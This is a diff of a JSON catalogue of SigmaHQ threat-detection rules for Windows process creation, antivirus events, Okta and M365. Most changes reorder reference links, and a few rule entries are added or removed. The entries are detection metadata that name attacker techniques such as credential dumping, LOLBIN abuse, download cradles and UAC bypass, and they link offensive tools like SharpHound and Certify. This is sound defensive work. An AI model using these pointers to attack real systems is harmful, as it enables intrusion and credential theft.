"https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://twitter.com/jseerden/status/1247985304667066373/photo/1", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://twitter.com/lefterispan/status/1286259016436514816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor_susp_usage.yml" @@ -75580,8 +72226,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Oddvarmoe/status/985518877076541440", "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://twitter.com/Oddvarmoe/status/985518877076541440", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml" ], "tags": [ @@ -75673,8 +72319,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/SharpHound", "https://github.com/BloodHoundAD/BloodHound", + "https://github.com/BloodHoundAD/SharpHound", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_bloodhound_sharphound.yml" ], "tags": [ @@ -75781,13 +72427,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/tag/ntds-dit/", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", "https://github.com/zcgonvh/NTDSDumpEx", - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", + "https://pentestlab.blog/tag/ntds-dit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" ], "tags": [ @@ -75992,8 +72638,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ss64.com/nt/mklink.html", "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md", + "https://ss64.com/nt/mklink.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml" ], "tags": [ @@ -76158,8 +72804,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Replace/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace", + "https://lolbas-project.github.io/lolbas/Binaries/Replace/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml" ], "tags": [ @@ -76225,8 +72871,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/med0x2e/vba2clr", "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", + "https://github.com/med0x2e/vba2clr", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_parent.yml" ], "tags": [ @@ -76339,9 +72985,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml" ], "tags": [ @@ -76430,8 +73076,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/harr0ey/status/991670870384021504", "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", + "https://twitter.com/harr0ey/status/991670870384021504", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml" ], "tags": [ @@ -76497,9 +73143,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", "https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load_obfusc.yml" ], "tags": [ @@ -76675,8 +73321,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1463526834918854661", "https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5", + "https://twitter.com/mrd0x/status/1463526834918854661", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml" ], "tags": [ @@ -76739,43 +73385,6 @@ "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" }, - { - "description": "Detects Elise backdoor activity used by APT32", - "meta": { - "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2018/01/31", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_elise.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", - "https://web.archive.org/web/20200302083912/https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_elise.yml" - ], - "tags": [ - "attack.g0030", - "attack.g0050", - "attack.s0081", - "attack.execution", - "attack.t1059.003" - ] - }, - "related": [ - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", - "value": "Elise Backdoor Activity" - }, { "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", "meta": { @@ -76932,9 +73541,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" ], "tags": [ @@ -77027,7 +73636,7 @@ "author": "Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2023/04/18", "falsepositive": [ - "Likelihood is related to how often the paths are used in the environement" + "Likelihood is related to how often the paths are used in the environment" ], "filename": "proc_creation_win_mstsc_run_local_rdp_file_susp_location.yml", "level": "high", @@ -77134,29 +73743,6 @@ "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", "value": "Nslookup PowerShell Download Cradle - ProcessCreation" }, - { - "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", - "meta": { - "author": "Florian Roth (Nextron Systems), Tim Shelton (fp werfault)", - "creation_date": "2022/11/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2022_41120_sysmon_eop.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/filip_dragovic/status/1590104354727436290", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", - "https://twitter.com/filip_dragovic/status/1590052248260055041", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2022_41120_sysmon_eop.yml" - ], - "tags": "No established tags" - }, - "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", - "value": "Suspicious Sysmon as Execution Parent" - }, { "description": "Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process", "meta": { @@ -77229,8 +73815,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://ss64.com/bash/rar.html", "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://ss64.com/bash/rar.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml" ], "tags": [ @@ -77273,31 +73859,6 @@ "uuid": "0b0cd537-fc77-4e6e-a973-e53495c1083d", "value": "Renamed Office Binary Execution" }, - { - "description": "Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability.\n7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow.\nThe command runs in a child process under the 7zFM.exe process.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/04/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2022_29072_7zip.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/kagancapar/status/1515219358234161153", - "https://github.com/kagancapar/CVE-2022-29072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2022_29072_7zip.yml" - ], - "tags": [ - "attack.execution", - "cve.2022.29072" - ] - }, - "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", - "value": "Potential CVE-2022-29072 Exploitation Attempt" - }, { "description": "Detects the usage of one of three Microsoft office applications (Word, Excel, PowerPoint) to download arbitrary files", "meta": { @@ -77311,9 +73872,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_office.yml" ], @@ -77348,8 +73909,8 @@ "logsource.product": "windows", "refs": [ "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://github.com/netero1010/TrustedPath-UACBypass-BOF", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_trustedpath.yml" ], "tags": [ @@ -77382,8 +73943,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml" ], "tags": [ @@ -77478,6 +74039,40 @@ "uuid": "1af57a4b-460a-4738-9034-db68b880c665", "value": "PowerShell SAM Copy" }, + { + "description": "Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.", + "meta": { + "author": "pH-T (Nextron Systems)", + "creation_date": "2023/04/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hktl_certify.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/Certify", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_certify.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1649" + ] + }, + "related": [ + { + "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "762f2482-ff21-4970-8939-0aa317a886bb", + "value": "HackTool - Certify Execution" + }, { "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th positional argument", "meta": { @@ -77491,8 +74086,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://twitter.com/jseerden/status/1247985304667066373/photo/1", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://twitter.com/lefterispan/status/1286259016436514816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml" @@ -77729,8 +74324,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" ], "tags": [ @@ -77941,40 +74536,6 @@ "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", "value": "Remote Access Tool - RURAT Execution From Unusual Location" }, - { - "description": "Detects a command used by conti to find volume shadow backups", - "meta": { - "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)", - "creation_date": "2021/08/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_conti.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti.yml" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ] - }, - "related": [ - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "7b30e0a7-c675-4b24-8a46-82fa67e2433d", - "value": "Conti Volume Shadow Listing" - }, { "description": "Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.", "meta": { @@ -78022,10 +74583,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", - "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", "https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", "https://twitter.com/gbti_sa/status/1249653895900602375?lang=en", + "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powertool.yml" ], "tags": [ @@ -78058,8 +74619,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/felixw3000/status/853354851128025088", "https://twitter.com/rikvduijn/status/853251879320662017", + "https://twitter.com/felixw3000/status/853354851128025088", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml" ], "tags": [ @@ -78092,9 +74653,9 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/?s=antivirus", - "https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448", "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619", + "https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448", + "https://www.nextron-systems.com/?s=antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_password_dumper.yml" ], "tags": [ @@ -78152,8 +74713,8 @@ "logsource.product": "No established product", "refs": [ "https://twitter.com/mvelazco/status/1410291741241102338", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_printernightmare_cve_2021_34527.yml" ], "tags": [ @@ -78220,8 +74781,8 @@ "logsource.product": "No established product", "refs": [ "https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797", - "https://www.nextron-systems.com/?s=antivirus", "https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424", + "https://www.nextron-systems.com/?s=antivirus", "https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_exploiting.yml" ], @@ -78264,8 +74825,8 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/?s=antivirus", "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", + "https://www.nextron-systems.com/?s=antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml" ], "tags": [ @@ -78298,16 +74859,16 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/?s=antivirus", - "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", - "https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection", + "https://github.com/tennc/webshell", "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", - "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", - "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection", "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", - "https://github.com/tennc/webshell", + "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.nextron-systems.com/?s=antivirus", + "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml" ], "tags": [ @@ -78340,12 +74901,12 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045", - "https://www.nextron-systems.com/?s=antivirus", - "https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916", - "https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7", - "https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d", "https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c", + "https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045", + "https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d", + "https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7", + "https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916", + "https://www.nextron-systems.com/?s=antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_ransomware.yml" ], "tags": [ @@ -78409,6 +74970,41 @@ "uuid": "d84c0ded-edd7-4123-80ed-348bb3ccc4d5", "value": "Suspicious SQL Query" }, + { + "description": "Detects when Okta FastPass prevents a known phishing site.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2023/05/07", + "falsepositive": [ + "Unlikely" + ], + "filename": "okta_fastpass_phishing_detection.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "okta", + "refs": [ + "https://sec.okta.com/fastpassphishingdetection", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_fastpass_phishing_detection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566" + ] + }, + "related": [ + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "ee39a9f7-5a79-4b0a-9815-d36b3cf28d3e", + "value": "Okta FastPass Phishing Detection" + }, { "description": "Detects when an security threat is detected in Okta.", "meta": { @@ -78423,8 +75019,8 @@ "logsource.product": "okta", "refs": [ "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" ], "tags": "No established tags" @@ -78445,8 +75041,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" ], "tags": [ @@ -78479,8 +75075,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" ], "tags": [ @@ -78503,8 +75099,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" ], "tags": [ @@ -78527,8 +75123,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" ], "tags": [ @@ -78551,8 +75147,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" ], "tags": [ @@ -78575,8 +75171,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assignment_created.yml" ], "tags": [ @@ -78599,8 +75195,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" ], "tags": [ @@ -78633,8 +75229,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" ], "tags": [ @@ -78658,8 +75254,8 @@ "logsource.product": "okta", "refs": [ "https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm", - "https://developer.okta.com/docs/reference/api/system-log/", "https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data", + "https://developer.okta.com/docs/reference/api/system-log/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_password_in_alternateid_field.yml" ], "tags": [ @@ -78692,8 +75288,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" ], "tags": [ @@ -78716,8 +75312,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" ], "tags": [ @@ -78740,8 +75336,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" ], "tags": [ @@ -78778,8 +75374,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" ], "tags": [ @@ -78963,10 +75559,10 @@ "logsource.product": "m365", "refs": [ "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", "https://o365blog.com/post/aadbackdoor/", "https://www.sygnia.co/golden-saml-advisory", "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_new_federated_domain_added.yml" ], "tags": [ @@ -79449,8 +76045,8 @@ "logsource.product": "github", "refs": [ "https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions", - "https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization", 